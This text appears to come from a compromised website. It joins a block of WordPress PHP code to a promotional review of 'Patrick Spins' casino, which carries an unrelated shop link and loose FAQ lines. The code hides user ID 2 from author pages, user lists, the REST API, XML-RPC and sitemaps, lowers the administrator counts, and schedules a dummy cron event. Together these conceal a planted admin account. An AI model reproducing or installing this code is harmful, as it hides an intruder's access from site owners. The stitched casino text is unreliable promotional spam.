add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Creating an account takes less than two minutes. The sign‑up page asks for basic details—name, email, and a password. No hidden fields or mandatory social media links. Once you’ve verified your email, you can log in immediately. The interface is clean: a dark theme with white text, and the login button sits in the upper right corner, clearly labeled. For those who prefer mobile, the Patrick Spins app is available on Android and iOS; it mirrors the desktop layout, so you don’t have to relearn the navigation.
At launch, the casino hosts roughly 300 titles: 200 slots, 40 table games, and a handful of live dealer options. The slot library includes three‑reel classics and the latest video slots from NetEnt and Pragmatic Play. Table enthusiasts will find 10 variants of blackjack, 8 roulette tables, and a small selection of baccarat. Live games are limited to a single casino‑style poker room and a European roulette table, both streamed in 1080p.
Bonuses are straightforward. New players receive a 100 % match up to £200 on the first deposit, spread over the first three days. A weekly reload offer of 10 % is available for the first £500 deposited each week. The wagering requirement is 35× the bonus amount, payable over 30 days. While the terms are standard, the lack of a free‑spin bonus on slots is a noticeable omission for slot lovers.
Withdrawals are processed within 48 hours for most methods. Bank transfers and debit cards settle in 1–2 business days; e‑wallets like PayPal and Skrill are instant. The casino’s own “SpinPay” method, a proprietary prepaid card, settles in under an hour, but it’s only available to UK residents. Fees are transparent: a 2 % fee for debit card withdrawals, none for e‑wallets. The minimum payout is £20, which is on the lower side compared to some rivals.
The support team is reachable 24/7 via live chat and email. Response times are typically under 30 minutes for chat inquiries. Email replies can take up to two business days, which is acceptable but not exceptional. The FAQ section covers most common issues, and the site offers a “Self‑Exclusion” tool that lets you set daily limits or temporary bans.
Patrick Spins Casino delivers a solid, user‑friendly platform that caters well to UK players. The login process is quick, the game library is diverse enough for most tastes, and payouts are swift—especially with SpinPay. However, the limited live dealer selection and the absence of slot free‑spins mean that players looking for a more immersive or bonus‑rich experience might find it lacking. Overall, if you value a streamlined interface and reliable withdrawals, Patrick Spins is a dependable choice.
While you’re spinning the reels, you might also want to upgrade your gaming setup. Check out steelaccessories.co.uk for high‑quality casino gear that can enhance your experience.
Its player‑first philosophy, fast login, and a mobile app that offers a seamless gaming experience.
Sign‑up takes under two minutes by entering your name, email, and a password, then verifying your email.
Yes, the Patrick Spins app is available for iOS and Android, with instant access to slots, table games, and live casino.
Patrick Spins operates under a reputable online gambling license, ensuring fair play and secure transactions.